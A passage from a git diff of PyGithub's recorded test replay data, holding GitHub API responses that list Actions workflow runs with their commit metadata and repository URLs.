v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"}}]} diff --git a/tests/ReplayData/Workflow.testGetRunsWithNoArguments.txt b/tests/ReplayData/Workflow.testGetRunsWithNoArguments.txt index 314dc05176..150a0398b6 100644 --- a/tests/ReplayData/Workflow.testGetRunsWithNoArguments.txt +++ b/tests/ReplayData/Workflow.testGetRunsWithNoArguments.txt @@ -8,4 +8,3 @@ None 200 [('Date', 'Wed, 20 May 2020 05:00:10 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4997'), ('X-RateLimit-Reset', '1589954408'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"e095e8fc0497b53aa5e046973926a3b6"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E714:401B:1114CB:13775E:5EC4B959')] {"total_count":4,"workflow_runs":[{"id":109950033,"node_id":"MDExOldvcmtmbG93UnVuMTA5OTUwMDMz","head_branch":"master","head_sha":"61b610926a023d80486ce1115e7331a4c714cfcb","run_number":112,"event":"push","status":"completed","conclusion":"success","workflow_id":1026390,"url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/109950033","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/109950033","pull_requests":[],"created_at":"2020-05-20T02:37:57Z","updated_at":"2020-05-20T02:40:25Z","jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/109950033/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/109950033/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/698432067","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/109950033/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/109950033/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/109950033/rerun","workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1026390","head_commit":{"id":"61b610926a023d80486ce1115e7331a4c714cfcb","tree_id":"f8bb127aac01f2185fa6d65914859a980d1f89b2","message":"Remove unneeded duplicate string checks in Branch (#1524)\n\nThere were multiple calls checking if an element of a list was a string\r\nor a string -- I suspect this pre-dates use of six in the code base, but\r\nlet's clean it up.","timestamp":"2020-05-20T02:37:52Z","author":{"name":"Steve Kowalik","email":"steven@wedontsleep.org"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"}},{"id":109168419,"node_id":"MDExOldvcmtmbG93UnVuMTA5MTY4NDE5","head_branch":"remove-duplicated-str-check","head_sha":"b1dd24bf8dc94cf76b6b5084ab3ad26f839e77cf","run_number":111,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1026390,"url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/109168419","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/109168419","pull_requests":[],"created_at":"2020-05-19T10:39:04Z","updated_at":"2020-05-19T10:41:34Z","jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/109168419/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/109168419/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/695709121","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/109168419/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/109168419/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/109168419/rerun","workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1026390","head_commit":{"id":"b1dd24bf8dc94cf76b6b5084ab3ad26f839e77cf","tree_id":"f8bb127aac01f2185fa6d65914859a980d1f89b2","message":"Remove unneeded duplicate string checks in Branch\n\nThere were multiple calls checking if an element of a list was a string\nor a string -- I suspect this pre-dates use of six in the code base, but\nlet's clean it up.","timestamp":"2020-05-19T10:35:05Z","author":{"name":"Steve Kowalik","email":"steven@wedontsleep.org"},"committer":{"name":"Steve Kowalik","email":"steven@wedontsleep.org"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":129349732,"node_id":"MDEwOlJlcG9zaXRvcnkxMjkzNDk3MzI=","name":"PyGithub","full_name":"s-t-e-v-e-n-k/PyGithub","private":false,"owner":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars0.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"html_url":"https://github.com/s-t-e-v-e-n-k/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub","forks_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/forks","keys_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/teams","hooks_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/events","assignees_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/tags","blobs_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/languages","stargazers_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/subscription","commits_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/merges","archive_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/downloads","issues_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/deployments"}},{"id":108934155,"node_id":"MDExOldvcmtmbG93UnVuMTA4OTM0MTU1","head_branch":"create-from-template","head_sha":"30e710081e25ab76562d1ad28540d47e5cf483ed","run_number":110,"event":"pull_request","status":"completed","conclusion":"failure","workflow_id":1026390,"url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/108934155","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/108934155","pull_requests":[],"created_at":"2020-05-19T05:51:36Z","updated_at":"2020-05-19T05:54:02Z","jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/108934155/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/108934155/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/694966613","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/108934155/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/108934155/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/108934155/rerun","workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1026390","head_commit":{"id":"30e710081e25ab76562d1ad28540d47e5cf483ed","tree_id":"3823b6182ad89730a0ed076e8063b731e6171a16","message":"Merge branch 'master' into create-from-template","timestamp":"2020-03-12T16:33:02Z","author":{"name":"Isac Souza","email":"isouza@daitan.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":160843870,"node_id":"MDEwOlJlcG9zaXRvcnkxNjA4NDM4NzA=","name":"PyGithub","full_name":"isouza-daitan/PyGithub","private":false,"owner":{"login":"isouza-daitan","id":9718970,"node_id":"MDQ6VXNlcjk3MTg5NzA=","avatar_url":"https://avatars2.githubusercontent.com/u/9718970?v=4","gravatar_id":"","url":"https://api.github.com/users/isouza-daitan","html_url":"https://github.com/isouza-daitan","followers_url":"https://api.github.com/users/isouza-daitan/followers","following_url":"https://api.github.com/users/isouza-daitan/following{/other_user}","gists_url":"https://api.github.com/users/isouza-daitan/gists{/gist_id}","starred_url":"https://api.github.com/users/isouza-daitan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/isouza-daitan/subscriptions","organizations_url":"https://api.github.com/users/isouza-daitan/orgs","repos_url":"https://api.github.com/users/isouza-daitan/repos","events_url":"https://api.g